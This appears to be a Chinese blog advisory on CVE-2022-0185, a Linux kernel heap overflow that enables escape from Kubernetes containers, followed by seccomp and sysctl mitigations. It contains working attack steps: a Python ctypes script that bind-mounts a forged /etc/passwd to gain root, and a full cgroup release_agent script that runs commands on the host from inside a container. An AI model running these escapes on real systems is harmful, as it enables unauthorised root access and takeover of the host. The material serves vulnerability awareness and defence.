高危！！Kubernetes 新型容器逃逸漏洞预警

最新推荐文章于 2023-05-27 12:28:17 发布
最新推荐文章于 2023-05-27 12:28:17 发布
阅读量342 收藏 2
点赞数
文章标签： 内核 docker linux java python
原文链接：https://mp.weixin.qq.com/s?__biz=MzI2ODAwMzUwNA==&mid=2649297567&idx=2&sn=c613de6b459618f6b40558b5fb22e66d&chksm=f2eb8340c59c0a563158a8c8ed9aa95e818b866077a06b0216b5ef4861743e1ebb2fb4dd7c18&scene=126&&sessionid=0
版权

2022 年 1 月 18 日，Linux 维护人员和供应商在 Linux 内核（5.1-rc1+）文件系统上下文功能的 legacy_parse_param 函数中发现一个堆缓冲区溢出[1]漏洞，该漏洞的 ID 编号为 CVE-2022-0185[2]，属于高危漏洞，严重等级为 7.8。

该漏洞允许在内核内存中进行越界写入。利用这个漏洞，无特权的攻击者可以绕过任何 Linux 命名空间的限制，将其权限提升到 root。例如，如果攻击者渗透到你的容器中，就可以从容器中逃逸，提升权限。

该漏洞于 2019 年 3 月被引入 Linux 内核 5.1-rc1 版本。1 月 18 日发布的补丁修复了这个问题，建议所有 Linux 用户下载并安装最新版本的内核。

漏洞细节

该漏洞是由文件系统上下文功能（fs/fs_context.c）的 legacy_parse_param 函数中发现的整数下溢条件引起的。文件系统上下文的功能是创建用于挂载和重新挂载文件系统的超级块，超级块记录了一个文件系统的特征，如块和文件大小，以及任何存储块。

通过向 legacy_parse_param 函数发送超过 4095 字节的输入，便可以绕过输入长度检测，导致越界写入，触发该漏洞。攻击者可以利用此漏洞将恶意代码写入内存的其他部分，导致系统崩溃，或者可以执行任意代码以提升权限。

legacy_parse_param 函数的输入数据是通过 fsconfig[3] 系统调用添加的，以用于配置文件系统的创建上下文（如 ext4 文件系统的超级块）。

// 使用 fsconfig 系统调用添加由 val 指向的以空字符（NULL）结尾的字符串
fsconfig(fd, FSCONFIG_SET_STRING, "\x00", val, 0);

要使用 fsconfig 系统调用，非特权用户必须至少在其当前命名空间中具有 CAP_SYS_ADMIN[4] 特权。这意味着如果用户可以进入另一个具有这些权限的命名空间，则足以利用此漏洞。

如果非特权用户无法获得 CAP_SYS_ADMIN 权限，攻击者可以通过 unshare(CLONE_NEWNS|CLONE_NEWUSER) 系统调用获得该权限。Unshare 系统调用可以让用户创建或克隆一个命名空间或用户，从而拥有进行进一步攻击所需的必要权限。这种技术对于使用 Linux 命名空间来隔离 Pod 的 Kubernetes 和容器世界非常重要，攻击者完全可以在容器逃逸攻击中利用这一点，一旦成功，攻击者便可以获得对主机操作系统和系统上运行的所有容器的完全控制权限，从而进一步攻击内部网段的其他机器，甚至可以在 Kubernetes 集群中部署恶意容器。

发现该漏洞的研究团队于 1 月 25 日在 GitHub[5] 上发布了利用该漏洞的代码和概念证明。

PoC

Docker 和其他容器运行时默认都会使用 Seccomp 配置文件来阻止容器中的进程使用危险的系统调用，以保护 Linux 命名空间边界。

Seccomp（全称：secure computing mode）在 2.6.12 版本（2005 年 3 月 8 日）中引入 Linux 内核，将进程可用的系统调用限制为四种：read，write，_exit，sigreturn。最初的这种模式是白名单方式，在这种安全模式下，除了已打开的文件描述符和允许的四种系统调用，如果尝试其他系统调用，内核就会使用 SIGKILL 或 SIGSYS 终止该进程。

然而 Kubernetes 默认情况下并不会使用任何 Seccomp 或 AppArmor/SELinux 配置文件来限制 Pod 的系统调用，这就很危险了，Pod 中的进程可以自由访问危险的系统调用，伺机获得必要的特权（例如 CAP_SYS_ADMIN），以便进一步攻击。

我们先来看一个 Docker 的例子，在标准的 Docker 环境中，unshare 命令是无法使用的，Docker 的 Seccomp 过滤器[6]阻止了这个命令使用的系统调用。

$ docker run --rm -it alpine /bin/sh
/ # unshare
unshare: unshare(0x0): Operation not permitted

再来看下 Kubernetes 的 Pod：

$ kubectl run --rm -it test --image=ubuntu /bin/bash
If you don't see a command prompt, try pressing enter.
root@test:/# lsns | grep user
4026531837 user        3   1 root /bin/bash
root@test:/#
root@test:/# apt update && apt install -y libcap2 libcap-ng-utils
root@test:/# ......
root@test:/# pscap -a
ppid  pid   name        command           capabilities
0     1     root        bash              chown, dac_override, fowner, fsetid, kill, setgid, setuid, setpcap, net_bind_service, net_raw, sys_chroot, mknod, audit_write, setfcap

可以看到 Pod 中的 root 用户并没有 CAP_SYS_ADMIN 能力，但我们可以通过 unshare 命令来获取 CAP_SYS_ADMIN 能力。

root@test:/# unshare -Urm
#
# pscap -a
ppid  pid   name        command           capabilities
0     1     root        bash              chown, dac_override, fowner, fsetid, kill, setgid, setuid, setpcap, net_bind_service, net_raw, sys_chroot, mknod, audit_write, setfcap
1     265   root        sh                full
# lsns | grep user
4026532695 user        3   265 root -sh

那么拥有了 CAP_SYS_ADMIN 可以做啥呢？这里给出两个示例，展示如何利用 CAP_SYS_ADMIN 来对系统进行渗透。

普通用户提权为 root 用户！

下面这段骚操作可以将主机中的普通用户直接提权为 root 用户。

先给 python3 赋予 CAP_SYS_ADMIN 能力（注意，不能对软链接进行操作，只能操作原文件）。

$ which python3
/usr/bin/python3

$ ll /usr/bin/python3
lrwxrwxrwx 1 root root 9 Mar 13  2020 /usr/bin/python3 -> python3.8*

$ setcap CAP_SYS_ADMIN+ep /usr/bin/python3.8
$ getcap /usr/bin/python3.8
/usr/bin/python3.8 = cap_sys_admin+ep

创建一个普通用户。

$ useradd test -d /home/test -m

然后切换到普通用户，并进入用户 home 目录。

$ su test
$ cd ~

将 /etc/passwd 复制到当前目录，并将 root 用户的密码改完 "password"。

$ cp /etc/passwd ./
$ openssl passwd -1 -salt abc password
$1$abc$BXBqpb9BZcZhXLgbee.0s/

# 将第一行的 root:x 改为 root:$1$abc$BXBqpb9BZcZhXLgbee.0s/
$ head -2 passwd
root:$1$abc$BXBqpb9BZcZhXLgbee.0s/:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

将修改后的 passwd 文件挂载到 /etc/passwd。

# cat mount-passwd.py
from ctypes import *
libc = CDLL("libc.so.6")
libc.mount.argtypes = (c_char_p, c_char_p, c_char_p, c_ulong, c_char_p)
MS_BIND = 4096
source = b"/home/test/passwd"
target = b"/etc/passwd"
filesystemtype = b"none"
options = b"rw"
mountflags = MS_BIND
libc.mount(source, target, filesystemtype, mountflags, options)
$ python3 mount-passwd.py

最后就是见证奇迹的时刻！！！直接切换到 root 用户，并输入密码 "password"。

$ su root
Password:
root@coredns:/home/test#

好神奇，切换到 root 用户了。。。

来看看是不是真的获得了 root 的权限吧：

$ find / -name "*flag*" 2>/dev/null
/sys/kernel/tracing/events/power/pm_qos_update_flags
/sys/kernel/debug/tracing/events/power/pm_qos_update_flags
/sys/kernel/debug/block/vdb/hctx0/flags
/sys/kernel/debug/block/vda/hctx0/flags
/sys/kernel/debug/block/loop7/hctx0/flags
/sys/kernel/debug/block/loop6/hctx0/flags
/sys/kernel/debug/block/loop5/hctx0/flags
/sys/kernel/debug/block/loop4/hctx0/flags
/sys/kernel/debug/block/loop3/hctx0/flags
/sys/kernel/debug/block/loop2/hctx0/flags
/sys/kernel/debug/block/loop1/hctx0/flags
/sys/kernel/debug/block/loop0/hctx0/flags
....

$ cat /sys/kernel/debug/block/vdb/hctx0/flags
alloc_policy=FIFO SHOULD_MERGE

嗯哼，是 root 没错了。

最后记得将 /etc/passwd 卸载哦。

$ umount /etc/passwd

所以，系统重启工程师（System Reboot Engineer）们，赶紧看看你们分配给其他人的普通用户有没有 CAP_SYS_ADMIN 能力吧~~

容器中查看主机所有进程！

再来看一个容器的例子，下面这段骚操作可以让你在容器中获取到主机正在运行的所有进程。

我们不需要使用 --privileged 参数来运行特权容器，那样就没意思啦。

$ docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash

接下来在容器中执行下面的命令，最终的效果是在主机上执行 ps aux 命令，并将其输出保存到容器中的 /output 文件。

# Mounts the RDMA cgroup controller and create a child cgroup
# This technique should work with the majority of cgroup controllers
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
# It's because your setup doesn't have the RDMA cgroup controller, try change rdma to memory to fix it
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
# Finds path of OverlayFS mount for container
# Unless the configuration explicitly exposes the mount point of the host filesystem
# see https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
# Sets release_agent to /path/payload
echo "$host_path/cmd" > /tmp/cgrp/release_agent
# Creates a payload
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
# By creating a /bin/sh process and writing its PID to the cgroup.procs file in "x" child cgroup directory
# The script on the host will execute after /bin/sh exits
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
# Reads the output
cat /output

最终你可以在容器中看到主机中运行的所有进程：

root@0c84f7587629:/# cat /output
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root           1  0.0  0.3 172704 13148 ?        Ss    2021 131:32 /sbin/init nopti
root           2  0.0  0.0      0     0 ?        S     2021   0:18 [kthreadd]
root           3  0.0  0.0      0     0 ?        I<    2021   0:00 [rcu_gp]
root           4  0.0  0.0      0     0 ?        I<    2021   0:00 [rcu_par_gp]
root           6  0.0  0.0      0     0 ?        I<    2021   0:00 [kworker/0:0H-kblockd]
root           8  0.0  0.0      0     0 ?        I<    2021   0:00 [mm_percpu_wq]
root           9  0.0  0.0      0     0 ?        S     2021  18:36 [ksoftirqd/0]
root          10  0.0  0.0      0     0 ?        I     2021 262:22 [rcu_sched]
root          11  0.0  0.0      0     0 ?        S     2021   3:06 [migration/0]
root          12  0.0  0.0      0     0 ?        S     2021   0:00 [idle_inject/0]
root          14  0.0  0.0      0     0 ?        S     2021   0:00 [cpuhp/0]
root          15  0.0  0.0      0     0 ?        S     2021   0:00 [cpuhp/1]
......

这些命令的具体含义我就不解释啦，感兴趣的可以自己对照注释研究一下。

可以确定的是，CAP_SYS_ADMIN 能力为攻击者提供了更多的可能性，不管是在宿主机还是在容器中，尤其是容器环境，如果我们因为不可抗因素无法升级内核，就要寻求其他的解决方案。

e6e2e04e7c9208df83c7ba5feb8b4f71.png

解决方案

容器层面

从 v1.22 版本开始，Kubernetes 便可以使用 SecurityContext 将默认的 Seccomp 或 AppArmor 配置文件添加到资源对象中，以保护 Pod、Deployment、Statefulset、Daemonset 等等。虽然这个功能目前处于 Alpha 阶段，但用户可以添加自己的 Seccomp 或 AppArmor 配置文件，并在 SecurityContext 中定义它。例如：

# pod-test.yaml
apiVersion: v1
kind: Pod
metadata:
  name: protected
spec:
  containers:
    - name: protected
      image: ubuntu
      command:
      - sleep
      - infinity
      securityContext:
        seccompProfile:
          type: RuntimeDefault

创建 Pod 后，尝试使用 unshare 获得 CAP_SYS_ADMIN 能力。

$ kubectl exec -it protected -- bash
root@protected:/#
root@protected:/# unshare -Urm
unshare: unshare failed: Operation not permitted

输出结果显示，unshare 系统调用被成功阻止了，攻击者便无法利用该能力进行攻击。

主机层面

还有一种方案是从主机层面禁止用户使用 user namespace 的能力，不需要重启系统。例如，在 Ubuntu 中，只需要执行下面两行命令便可即时生效，并且重启系统后也会生效。

$ echo "kernel.unprivileged_userns_clone=0" > /etc/sysctl.d/userns.conf
$ sysctl -p /etc/sysctl.d/userns.conf

如果是 Red Hat 系的系统，可以执行下面的命令来达到同样的效果。

$ echo "user.max_user_namespaces=0" > /etc/sysctl.d/userns.conf
$ sysctl -p /etc/sysctl.d/userns.conf

总结一下对于该漏洞的处理建议：

  • 如果你的环境可以接受给内核打补丁，也能接受重启系统，最好打补丁，或者升级内核。

  • 减少使用能够访问 CAP_SYS_ADMIN 的特权容器。

  • 对于没有特权的容器，确保有一个 Seccomp 过滤器来阻止其对 unshare 的调用，以减少风险。Docker 没问题，Kubernetes 需要额外操作。

  • 未来可以为 Kubernetes 集群中的所有工作负载启用 Seccomp 配置文件。目前该功能还处于 Alpha 阶段，需要通过特性开关（feature gate）[7]开启。

  • 在主机层面禁止用户使用 user namespace 的能力。

写在最后

容器环境错综复杂，特别是像 Kubernetes 这样的分布式调度平台，每一个环节都有自己的生命周期和攻击面，很容易暴露出安全风险，容器集群管理员必须注意每一处细节的安全问题。总的来说，绝大多数情况下容器的安全性都取决于 Linux 内核的安全性，因此，我们需要时刻关注任何安全问题，并尽快实施对应的解决方案。

参考资料

  • CVE-2022-0185: Kubernetes Container Escape Using Linux Kernel Exploit[8]

  • CVE-2022-0185: Detecting and mitigating Linux Kernel vulnerability causing container escape[9]

  • Excessive Capabilities[10]

  • CAP_SYS_ADMIN[11]

引用链接

[1]

堆缓冲区溢出: https://en.wikipedia.org/wiki/Heap_overflow

[2]

CVE-2022-0185: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0185

[3]

fsconfig: http://kernsec.org/pipermail/linux-security-module-archive/2019-February/011442.html

[4]

CAP_SYS_ADMIN: https://lwn.net/Articles/486306/

[5]

GitHub: https://github.com/Crusaders-of-Rust/CVE-2022-0185

[6]

Docker 的 Seccomp 过滤器: https://docs.docker.com/engine/security/seccomp/

[7]

特性开关（feature gate）: https://kubernetes.io/docs/tutorials/security/seccomp/#enable-the-use-of-runtimedefault-as-the-default-seccomp-profile-for-all-workloads

[8]

CVE-2022-0185: Kubernetes Container Escape Using Linux Kernel Exploit: https://www.crowdstrike.com/blog/cve-2022-0185-kubernetes-container-escape-using-linux-kernel-exploit/

[9]

CVE-2022-0185: Detecting and mitigating Linux Kernel vulnerability causing container escape: https://sysdig.com/blog/cve-2022-0185-container-escape/

[10]

Excessive Capabilities: https://0xn3va.gitbook.io/cheat-sheets/container/escaping/excessive-capabilities

[11]

CAP_SYS_ADMIN: https://book.hacktricks.xyz/linux-unix/privilege-escalation/linux-capabilities#cap_sys_admin

张晋涛-MoeLove
关注
  • 0
    点赞
  • 踩
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
TP-LINK路由器高危漏洞的防范解决方法
10-01
windows自带的防火墙能很好的帮我们防范TP-LINK路由器出现的高危漏洞，那么这里我就用图文并茂的方式教大家如何开启windows防火墙
网页限制用户访问机器_K8S权限控制，限制用户在特定namespace上的访问权限
weixin_39933082的博客
11-29 386
前言K8Skubernetes应用越来越广泛，我们kubernetes集群中也会根据业务来划分不同的命名空间，随之而来的就是安全权限问题，我们不可能把集群管理员账号分配给每一个人，有时候可能需要限制某用户对某些特定命名空间的权限，比如开发和测试人员也可能需要登录集群，了解应用的运行情况，查看pod的日志，甚至是修改某些配置。这时候，我们可以通过创建受限的kubeconfig文件，将该config分...
KubeSphere 对 Apache Log4j 2 远程代码执行最新漏洞的修复方案
KubeSphere
12-15 2321
Apache Log4j 2 是一款开源的日志记录工具，被广泛应用于各类框架中。近期，Apache Log4j 2 被爆出存在漏洞，漏洞现已公开，本文为 KubeSphere 用户提供建议的修复方案。 此次漏洞是由于 Log4j 2 提供的 lookup 功能造成的，该功能允许开发者通过一些协议去读取相应环境中的配置。但在实现的过程中，并未对输入进行严格的判断，从而造成漏洞的发生。由于大量的软件都使用了 Log4j 2 插件，所以大量的 Java 类产品均被波及，包括但不限于 Apache Solr、srp
k8s--普通k8s集群---使用rolebinding限制或增加访问命名空间以及可执行操作权限
直到世界的尽头
11-13 1万+
权限控制原理 RBAC——基于角色的访问控制 基于角色的访问控制（Role-Based Access Control, 即”RBAC”） k8s使用”rbac.authorization.k8s.io” API Group实现授权决策，允许管理员通过Kubernetes API动态配置策略。 也就是说 每个k8s用户调用k8s的api时，都会经过一层角色的权限校验，比如 我当前的用户或者 服务账户（serviceaccount）关联的是哪一个角色，就拥有这一个角色的访问权限。 基于这样的原理，k8s可以很灵
K8S权限控制，限制用户在多个namespace上的访问权限
麦迪康
01-13 1945
参考： https://www.cnblogs.com/aresxin/p/k8s-sc.html https://blog.csdn.net/ljx1528/article/details/85226422 遇到的问题： Error from server (Forbidden): deployments.apps is forbidden: User "system:serviceaccount:default:dev" cannot create resource "deployments" in A
修复 KubeSphere 内置 Jenkins 的 Apache Log4j2 漏洞
KubeSphere
02-10 1736
作者：老Z，中电信数智科技有限公司山东分公司运维架构师，云原生爱好者，目前专注于云原生运维，云原生领域技术栈涉及 Kubernetes、KubeSphere、DevOps、OpenStack、Ansible 等。 简介 生产环境 KubeSphere 3.3.0 部署的 Kubernetes 集群在安全评估的时候发现安全漏洞，其中一项漏洞提示目标可能存在 Apache Log4j2 远程代码执行漏洞 (CVE-2021-44228)。 本文记录了该漏洞修复的全部过程，文中介绍了修复该漏洞的两种解决方案
【Rust日报】2022-01-24 讨厌的Linux内核错误
Rust语言学习交流
01-24 154
讨厌的Linux内核错误最近在Linux内核中发现了一个堆溢出错误。该补丁现在可以在大多数主要的Linux发行版中使用。在这个例子中，Linux内核的fs/fs_context.c程序...
K8s进阶6——pod安全上下文、Linux Capabilities、OPA Gatekeeper、gvisor
百慕卿君博客
05-27 3131
1、pod安全上下文Security Context，特权容器替代方案Linux Capabilities。 2、pod安全策略psp简介，psp替代方案OPA Gatekeepe，包括rego模板、策略编写。 3、gvisor容器沙箱技术，与docker集成，与containerd集成。 4、Linux内核升级。
修复 K8s SSL/TLS 漏洞（CVE-2016-2183）指南
热门推荐
KubeSphere
02-21 1万+
测试服务器配置主机名IPCPU内存系统盘数据盘用途2440200Ansible 运维控制节点41640200+20041640200+20041640200+2002840200+2002840200+2002840200+200harbor2840200Harbor合计822843202800测试环境涉及软件版本信息2.8.203.3.0v1.24.19.5.17.17.52.5.1。
Kubernetes【安全】1. SecurityContext 安全上下文
爱死亡机器人
09-11 7883
简介 安全上下文（Security Context）定义 Pod 或 Container 的特权与访问控制设置。安全上下文包括但不限于： 自主访问控制（Discretionary Access Control）：基于 用户 ID（UID）和组 ID（GID）.来判定对对象（例如文件）的访问权限 安全性增强的 Linux（SELinux）：为对象赋予安全性标签。 以特权模式或者非特权模式运行。 Linux 权能: 为进程赋予 root 用户的部分特权而非全部特权。 AppArmor：使用程序文件来限制单个程
关于对Apache Tomcat 文件包含高危漏洞开展安全加固的预警通报(1).doc
07-16
Apache Tomcat 文件包含 高危漏洞（CVE-2020-1938 对应CNVD-2020-10487）修复措施
人工智能-项目实践-检测-在渗透测试中快速检测常见中间件、组件的高危漏洞.zip
最新发布
12-23
人工智能-项目实践-检测-在渗透测试中快速检测常见中间件、组件的高危漏洞 vulnerability-list 常见漏洞快速检测，目前包含以下漏洞的检测。 测试环境为win10，python3。 使用前需安装相关库：py -3 -m pip install...
高危漏洞专查工具合集.rar
02-20
高危漏洞专查工具合集.rar
安全相关-系统安全-高危漏洞免疫工具软件 v1.0.0.1003.zip
12-07
安全相关-系统安全-高危漏洞免疫工具软件 v1.0.0.1003.zip
Rancher 限制用户访问命名空间
ming的博客
11-01 1196
Rancher 采用RBAC来限制用户访问k8s资源，默认用户可以访问k8s所有资源。如果k8s中同时部署了多套环境，默认策略就不能满足需求。 Rancher系统中提供了“项目”概念，一个项目可以绑定多个命名空间，通过项目可以限制用户访问不同的命名空间，具体操作如下： 一、在“安全”—“角色”中创建“项目角色” 这里我创建了“abc”角色，同时配置pods访问权限和exec 执行权限，当然也可以添加其他权限 ​ 二、进入集群—“项目/命名空间”,然后通过“项目”绑定“命名空间...
扒一扒过去一年K8S高危漏洞都有哪些？
力哥讲技术
03-13 1145
在过去的一年里，Kubernetes继续稳固其在关键基础设施领域的地位，成为无论是小型还是大型组织都广受欢迎的选择。然而，随着更多开发人员将Kubernetes部署与其他云原生组件相结合，构建出更加完善的工作系统时，这也使得Kubernetes更容易遭受攻击。更多的组件和更加复杂的基础架构也增加了易受攻击的范围，这是需要我们运维人员关注的。根据 Red Hat 的2022 年 Kubernetes 安全状况报告：https://www.redhat.com/rhdc/managed-files/cl-sta
容器安全风险and容器逃逸漏洞实践
武天旭的博客
02-16 1422
不安全的第三方组件：用户自己的代码依赖若干开源组件，这些开源组件本身又有着复杂的依赖树，甚至最终打包好的业务镜像中还包含完全用不到的开源组件。这导致许多开发者可能根本不知道自己的镜像中到底包含多少以及哪些组件。包含的组件越多，可能存在的漏洞就越多，大量引入第三方组件的同时也大量引入了风险。恶意镜像：一些公共镜像仓库中可能存在一些恶意镜像，如果使用了这些镜像或把这些镜像作为基础镜像，就会产生相应的风险。
Docker SYS_ADMIN 权限容器逃逸
m0_63306943的博客
03-02 1010
如果notify_on_release启用（即值为1时），当cgroup不再包含任何任务时（即，cgroup的tasks文件里的PID为空时），系统内核会默认执行release_agent参数指定的文件里的内容。若启动docker容器时给主机一个--cap-add=SYS_ADMIN的权限，攻击者可以在容器内通过挂载宿主机cgroup，并利用cgroup notify_on_release的特性在宿主机执行shell，从而实现容器逃逸。cgroup：限制资源分配的技术，限制docker的特定资源。
[转载] Linux的capability深入分析
a172742451的专栏
04-21 2674
[转载] Linux的capability深入分析 一)概述: 1)从2.1版开始,Linux内核有了能力(capability)的概念,即它打破了UNIX/LINUX操作系统中超级用户/普通用户的概念,由普通用户也可以做只有超级用户可以完成的工作. 2)capability可以作用在进程上(受限),也可以作用在程序文件上,它与sudo不同,sudo只针对用户/程序/文件的概
mysql5.7的高危漏洞修复
05-17
如果您使用的是 MySQL 5.7 版本，那么您需要关注以下几个高危漏洞： 1. CVE-2020-14883：这是一个远程代码执行漏洞，攻击者可以通过发送特制的HTTP请求来在MySQL服务器上执行任意代码。这个漏洞影响到MySQL 5.7.31版本以前的所有版本。修复方法是升级到MySQL 5.7.31版本或更高版本。 2. CVE-2020-14577：这是一个安全性问题，攻击者可以通过向MySQL服务器发送恶意请求来绕过访问控制。这个漏洞影响到MySQL 5.7.30版本以前的所有版本。修复方法是升级到MySQL 5.7.30版本或更高版本。 3. CVE-2020-14586：这是一个安全性问题，攻击者可以通过向MySQL服务器发送恶意请求来绕过访问控制。这个漏洞影响到MySQL 5.7.30版本以前的所有版本。修复方法是升级到MySQL 5.7.30版本或更高版本。 如果您的MySQL版本受到上述漏洞的影响，建议您尽快升级到最新版本，以保证系统的安全性。同时，您也可以考虑限制MySQL服务的网络访问，以减少攻击面。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值